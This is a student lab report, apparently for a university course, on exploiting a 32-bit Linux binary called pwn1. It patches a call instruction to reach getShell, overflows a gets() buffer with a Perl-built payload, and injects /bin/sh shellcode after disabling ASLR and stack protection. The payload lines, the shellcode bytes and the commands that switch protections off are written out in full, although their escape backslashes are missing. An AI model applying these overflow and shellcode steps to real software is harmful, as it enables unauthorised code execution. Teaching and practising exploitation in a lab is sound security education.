20165120 马鹏云 实验一pc平台逆向破解=v=

1.1实验目标：

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。

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• 三个实践内容如下：

  • 手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

• 这几种思路，基本代表现实情况中的攻击目标:

  • 运行原本不可访问的代码片段
  • 强行修改程序执行流
  • 以及注入运行任意代码。

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1.2基础知识：

• 熟悉Linux基本操作
  • 能看懂常用指令,如管道（|），输入、输出重定向（>）等。
• 理解Bof的原理。
  • 能看得懂汇编、机器指令、EIP、指令地址。
• 会使用gdb,vi。

• 指令、参数

• 重要的是理解思路。

直接修改程序机器指令，改变程序执行流程：

• 知识要求：Call指令，EIP寄存器,指令跳转的偏移计算，补码，反汇编指令objdump，十六进制编辑工具

• 学习目标：理解可执行文件与机器指令

• 进阶：掌握ELF文件格式，掌握动态技术

首先我们拿到pwn1这个文件，我看大部分人都丢到kali里面做，我这个人比较懒（其实是Linux指令不太熟），能用图形界面就用图形界面，所以我直接用ida做的这一项（我觉得不会有人跟我一样的做法所以图片我就不加水印了）

我们首先用ida打开pwn1这个文件：

一大堆汇编代码，看的头痛，搜一下：

搜到了三个结果，我们可以看到第三条是用了call指令，双击进去：

我们可以看到地址高亮的那一行就是我们的call指令所在位置，ida这里有一点跟kali不一样，它没有直接显示调用哪里的foo函数，所以我们在这个foo这里右键它：

跳转到操作数，我们可以看到高亮了地址8048491，是说这条指令将调用位于地址8048491处的foo函数，其对应机器指令为“e8 d7ffffff”，e8就是跳转的意思。

本来正常流程，此时此刻EIP的值应该是下条指令的地址，即80484ba，但如一解释e8这条指令呢，CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41，41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值，main函数调用foo，对应机器指令为“ e8 d7ffffff”，那我们想让它调用getShell，只要修改“d7ffffff”为，"getShell-80484ba"对应的补码就行。

用Windows计算器，直接 47d-4ba就能得到补码，是c3ffffff。

下面我们就修改可执行文件，将其中的call指令的目标地址由d7ffffff变为c3ffffff。

♂修改执行文件我用的winhex，有兴趣的同学可以下下来玩一下：

活用搜索功能，搜d7找到位置，改成c3：

另存为一下，然后这个新文件丢到kali里面打开（到头来还是要用）：

我们可以看到已经正常getshell了，然后我们跑来试一下：

由此可见是成功了的

ps：我在测试中碰到了一件很奇怪的事情，明明ls显示了这个文件，但是就是跑不了，最后在中楷同学的kali上跑成功了（点名表扬），百度之后知道了应该是没有32位的运行库 ia32-libs的原因，但是我尝试装过了之后还是不行（开始自闭）耽误了很多时间，至今还在排查原因。。。

通过构造输入参数，造成BOF攻击，改变程序执行流：

首先我们反汇编一下这个程序，了解程序基本功能：

我们可以看到函数getShell，我们的目标是触发这个函数

 该可执行文件正常运行是调用函数foo，这个函数有Buffer overflow漏洞

在foo函数中我们可以看到：

08048491 <foo>:
 8048491:	55                   	push   %ebp
 8048492:	89 e5                	mov    %esp,%ebp
 8048494:	83 ec 38             	sub    $0x38,%esp
 8048497:	8d 45 e4             	lea    -0x1c(%ebp),%eax
 804849a:	89 04 24             	mov    %eax,(%esp)
 
 这里读入字符串，但系统只预留了32字节的缓冲区，超出部分会造成溢出，我们的目标是覆盖返回地址
 
 804849d:	e8 8e fe ff ff       	call   8048330 <gets@plt>
 80484a2:	8d 45 e4             	lea    -0x1c(%ebp),%eax
 80484a5:	89 04 24             	mov    %eax,(%esp)
 80484a8:	e8 93 fe ff ff       	call   8048340 <puts@plt>
 80484ad:	c9                   	leave

然后图中的call调用foo,同时在堆栈上压上返回地址值:0x80484ba
我们接下来确认输入字符串哪几个字符会覆盖到返回地址：

如图所示我们用info r指令查看寄存器eip的值，发现输入的1234被覆盖到堆栈上的返回地址

所以我们就将getShell的地址0x0804847d把1234替换即可

由于数据按小端存储，我们的应该输入为11111111222222223333333344444444x7dx84x04x08

但是后来发现，我们没法通过键盘输入x7dx84x04x08这样的16进制值

所以这里我们需要用到Perl这个解释型语言，输入：perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input 生成包括字符串的一个文件(x0a表示回车)

使用16进制查看指令xxd确认input文件内容

确认无误后用(cat input;cat) | ./pwn20165120将input中的字符串作为可执行文件的输入

 

注入Shellcode并执行：

使用apt-get install execstack命令安装execstack，以便接下来可以设置易于攻击的环境（以前装过了，所以这个步骤就是这样的截图）

使用如下指令进行配置：

• execstack -s pwn1
• execstack -q pwn1
• more /proc/sys/kernel/randomize_va_space
• echo "0" > /proc/sys/kernel/randomize_va_space
• more /proc/sys/kernel/randomize_va_space

我们的目的是向foo函数输入参数，造成缓冲区溢出，改变foo的返回地址，，跳到shellcode。也就是，找到foo函数的返回的地址，将其改成shellcode开始的地址
使用命令 　　perl -e 'print "A" x 32;print "x04x03x02x01x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode

注入，前面32个A用来填满buf，x04x03x02x01为预留的返回地址，下面找这个返回地址。

接下来我们要分两个终端分步进行：

• 在一个终端里用 (cat input_shellcode;cat) | ./pwn20165120 注入这段攻击，回车后把这个终端放在这里，然后去打开另一个终端。

• 在第二个终端中（如下图）

1. ps -ef | grep pwn 查看pwn进程号
2. 用gdb， attach 10181 去调试这个进程
3. disassemble foo 命令反汇编，通过设置断点，来查看注入buf的内存地址：
4. 用 break *0x080484ae 命令设置断点，输入c命令(continue)继续运行，同时在pwn1进程正在运行的终端敲回车，使其继续执行。再返回调试终端，使用info r esp命令查找地址
5. 用x/16x 0xffffd17c命令查看其存放内容，看到了0x01020304，就是返回地址的位置。根据我们构造的input_shellcode可知，shellcode就在其后，所以地址应为0xffffd180
6. 接下来只需要将之前的x4x3x2x1改为这个地址即可，用命令

然后用命令perl -e 'print "A" x 32;print "x80xd1xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode

改地址，然后用(cat input_shellcode;cat) | ./pwn1执行程序，结果如下图：

可见已经成功，本次实验完成。

实验收获与感想：

本次实验总体来说比较顺利，但是还是碰到了相关问题，在kali 64位下运行 ./pwn1 会跳出来说没有这个文件或者目录，但是ls看又有这个文件，很是奇怪。然后经过了一系列的排查之后发现，其实原因很简单，是因为他没有32位的运行库 ia32-libs ，直接安装即可。下载链接http://pkgs.org/download/ia32-libs，下载mint 17 的deb 用软件中心安装就行 依赖啥的自动解决。有遇到一样的问题的同学可以参考一下。

 什么是漏洞？漏洞的有什么危害？：

顾名思义所谓漏洞，应该是某种缺陷，比如说系统、硬件、软件等等有缺陷，而且可以被人利用的地方。

漏洞的危害小则无伤大雅，大则可以引起整个国家的严重损失。包括个人隐私信息、经济、乃至国家安全，都有可能受到漏洞的危害。